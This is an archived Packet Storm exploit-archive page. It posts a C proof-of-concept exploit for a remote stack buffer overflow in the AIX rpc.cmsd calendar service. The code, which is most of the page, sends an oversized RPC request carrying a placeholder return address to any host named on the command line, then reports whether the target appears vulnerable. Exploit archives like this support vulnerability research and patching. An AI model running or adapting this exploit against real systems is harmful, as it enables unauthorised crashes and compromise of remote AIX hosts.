we care because you do

AIX RPC.cmsd Remote Buffer Overflow

AIX RPC.cmsd Remote Buffer Overflow
Posted Feb 3, 2010
Authored by Rodrigo Rubira Branco

AIX RPC.cmsd remote stack buffer overflow proof of concept exploit.

tags | exploit, remote, overflow, proof of concept
systems | aix
MD5 | 07e89cdb3a2afe27888f80e560197ff5

AIX RPC.cmsd Remote Buffer Overflow

Change Mirror Download
/*
* Rodrigo Rubira Branco (BSDaemon) - < rodrigo *noSPAM* risesecurity . org >
* http://www.kernelhacking.com/rodrigo
* http://www.risesecurity.org
*/

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <rpc/rpc.h>

#define CMSD_PROG 100068
#define CMSD_VERS 4
#define CMSD_CREATE 21


struct cm_send {
char *s1;
char *s2;
};

struct cm_reply {
int i;
};

bool_t xdr_cm_send(XDR *xdrs, struct cm_send *objp)
{
if(!xdr_wrapstring(xdrs, &objp->s1))
return (FALSE);
if(!xdr_wrapstring(xdrs, &objp->s2))
return (FALSE);

return (TRUE);
}

bool_t xdr_cm_reply(XDR *xdrs, struct cm_reply *objp)
{
if(!xdr_int(xdrs, &objp->i))
return (FALSE);
return (TRUE);
}

int
main(int argc, char *argv[])
{
char buffer[8192];
long ret, offset;
int len, x, y, i;
char *hostname, *b;

CLIENT *cl;
struct cm_send send;
struct cm_reply reply;
struct timeval tm = { 10, 0 };
enum clnt_stat stat;

if(argc < 2) {
printf("<< RPC.cmsd remote PoC for AIX 6.1 and lower! >>\n");
printf("<< Rodrigo Rubira Branco (BSDaemon) - <rodrigo *noSPAM* kernelhacking .com> >>\n");
printf("<< http://www.kernelhacking.com/rodrigo >>\n");
printf("<< http://www.risesecurity.org >>\n");
printf("Usage: %s [hostname]\n", argv[0]);
exit(1);
}

hostname = argv[1];

memset(buffer,0x60,sizeof(buffer)-1);
memcpy(buffer+4104,"\xde\xad\xbe\xef",4); //0x20034748 heap

send.s1 = buffer;
send.s2 = "";

printf("Calling vulnerable procedure ... ");

cl = clnt_create(hostname, CMSD_PROG, CMSD_VERS, "udp");
if(cl == NULL) {
clnt_pcreateerror("clnt_create");
printf("exploit failed; unable to contact RPC server\n");
exit(1);
}

cl->cl_auth = authunix_create("localhost", 0, 0, 0, NULL);
stat = clnt_call(cl, CMSD_CREATE, xdr_cm_send, (caddr_t) &send,
xdr_cm_reply, (caddr_t) &reply, tm);

if(stat == RPC_SUCCESS) {
printf("not vuln!!\n");
clnt_destroy(cl);
exit(1);
} else {
printf("done!\n");
clnt_destroy(cl);
exit(0);
}
}

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2012

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    37 Files
  • 2
    May 2nd
    53 Files
  • 3
    May 3rd
    33 Files
  • 4
    May 4th
    4 Files
  • 5
    May 5th
    10 Files
  • 6
    May 6th
    17 Files
  • 7
    May 7th
    19 Files
  • 8
    May 8th
    36 Files
  • 9
    May 9th
    34 Files
  • 10
    May 10th
    35 Files
  • 11
    May 11th
    20 Files
  • 12
    May 12th
    18 Files
  • 13
    May 13th
    11 Files
  • 14
    May 14th
    27 Files
  • 15
    May 15th
    58 Files
  • 16
    May 16th
    54 Files
  • 17
    May 17th
    25 Files
  • 18
    May 18th
    53 Files
  • 19
    May 19th
    9 Files
  • 20
    May 20th
    15 Files
  • 21
    May 21st
    25 Files
  • 22
    May 22nd
    32 Files
  • 23
    May 23rd
    35 Files
  • 24
    May 24th
    26 Files
  • 25
    May 25th
    25 Files
  • 26
    May 26th
    11 Files
  • 27
    May 27th
    8 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2012 Packet Storm. All rights reserved.

close